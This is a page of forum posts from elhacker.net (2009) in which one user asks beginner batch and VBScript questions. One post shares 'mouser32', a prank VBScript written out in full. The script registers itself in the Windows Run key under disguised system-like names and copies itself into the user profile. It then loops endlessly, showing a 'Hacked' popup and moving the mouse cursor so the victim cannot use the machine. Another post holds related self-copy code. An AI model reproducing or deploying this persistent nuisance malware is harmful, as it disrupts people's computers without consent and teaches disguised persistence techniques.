elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


  Mostrar Mensajes
Páginas: 1 ... 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [21] 22 23 24 25
201  Programación / Scripting / {Resuelto} [Batch Help!] ayuda con conversion de caracteres.. en: 16 Septiembre 2009, 17:50 pm
Código:
set "variable=%variable:a=1%"
set "variable=%variable:A=2%"

Ok, mi problema es para diferenciar mayúsculas de minusculas. Hay alguna forma?

Pense con un IF..
Código:
if ["%variable%"]==["a"] (set "variable=%variable:a=1%")
if ["%variable%"]==["A"] (set "variable=%variable:A=2%")

Pero si el contenido de %variable% tiene mas de un caracter ya no serviría..


Ahora mismo se me ocurrio hacer algo con findstr pero nunca lo supe utilizar bien..
202  Programación / Scripting / Re: [vbs] Cerrar proceso sin abrirlo en: 16 Septiembre 2009, 17:48 pm
En el code que encontré en tu tutorial, pone que sirve para cerrar el proceso que acabas de abrir.. >.<"
203  Programación / Scripting / Re: [vbs] Pregunta sobre inputbox.. en: 16 Septiembre 2009, 17:46 pm
Ok, thanks de todas formas  ;)
204  Programación / Scripting / {Resuelto} [vbs] Cerrar proceso sin abrirlo en: 16 Septiembre 2009, 17:14 pm
Queria saber si se puede cerrar un proceso sin abrirlo anteriormente (que es lo que venia en el tuto).

Por ejemplo, cerrar el proceso cmd.exe


No se si se puede por titulo de ventana.. vi algo asi hace tiempo.
205  Programación / Scripting / Re: [vbs] Pregunta sobre inputbox.. en: 16 Septiembre 2009, 17:13 pm
Ya, se me coló el set al escribir xd..

Me refiero a como un textbox Grande de varias lineas.. o aunque fuera otra funcion parecida.


Graciassz ;)
206  Programación / Scripting / {Resuelto} [vbs] Pregunta sobre inputbox.. en: 16 Septiembre 2009, 16:16 pm
Hola, quería hacer una pregunta.

Código:
inputbox1 = InputBox("Texto","Titulo","Aparece en el inputbox")

Querría saber si el inputbox, se podría hacer de varias lineas, para escribir un texto largo..


bye!
207  Programación / Scripting / [BromaVBS] mouser32 - by xassiz! en: 15 Septiembre 2009, 22:00 pm
Bueno, gracias a NovLucker llegué a hacer una broma en vbs (que la probé con un amigo y realmente funciona XD XD XD).. aprendí bastante al hacer esto ;D

Citar
-Se agrega al Run para iniciarse con el pc
-Se autocopia
-Agrega tambien al Run la copia por si se borra el original
-Muestra un popup con un mensaje
-Mueve el mouse cada medio segundo para diferentes sitios, de manera que no lo puedes utilizar xD
-Comienza un bucle infinito, vuelve a mostrar el popup, vuelve a mover el mouse, etc. etc. etc. :laugh:

Código:
'Mouser32 - by xassiz
''broma sobre el mouse

set registro = createobject("wscript.shell")
registro.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\system32dll",wscript.scriptfullname,"REG_SZ"
set autocopia = createobject("scripting.filesystemobject")
set varentorno = createobject("wscript.shell")
userprofile = varentorno.expandenvironmentstrings("%userprofile%")
autocopia.copyfile wscript.scriptfullname, userprofile & "\mouser32.vbs", true
set registro2 = createobject("wscript.shell")
registro2.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\system32exe,"wscript.scriptfullname,"REG_SZ"
do
Set hacked=createobject("Wscript.shell")
set broma=CreateObject("Excel.Application")
mensaje=hacked.popup("Welcome to the hell.. the mouser32!!",1,"Hacked by xassiz!",16)
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""100"", ""100"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""200"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""200"", ""300"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""400"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""600"", ""500"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""600"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""700"", ""800"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""350"", ""200"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""100"", ""100"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""200"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""200"", ""300"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""400"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""600"", ""500"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""600"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""700"", ""800"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""350"", ""200"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""850"", ""1000"")")
set broma=Nothing
loop

Espero correcciones, criticas y mejoras  :rolleyes: ;D


Graciaaas! ::)
208  Programación / Scripting / Re: [vbs] Problema con autocopiar en: 15 Septiembre 2009, 20:45 pm
Ok, entendido ;-)
209  Programación / Scripting / Re: {Resuelto} [Duda VBS] Clipboardd. en: 15 Septiembre 2009, 16:45 pm
Si que a funcionado xDD

Que raro.. u.U
210  Programación / Scripting / Re: [vbs] Problema con autocopiar en: 15 Septiembre 2009, 16:40 pm
Ok, entendido ;)

[Edito]

Copiador.vbs
Código:
Set autocopia = createobject("scripting.filesystemobject")
set varentorno = createobject("wscript.shell")
userprofile = varentorno.expandenvironmentstrings("%userprofile%")
autocopia.copyfile "wscript.scriptfullname", userprofile & "\copiado.vbs", true

Citar
Error en la linea 4, el archivo no existe

Como que no existe? Se supone que lo copio para que exista (...)
Páginas: 1 ... 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [21] 22 23 24 25
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines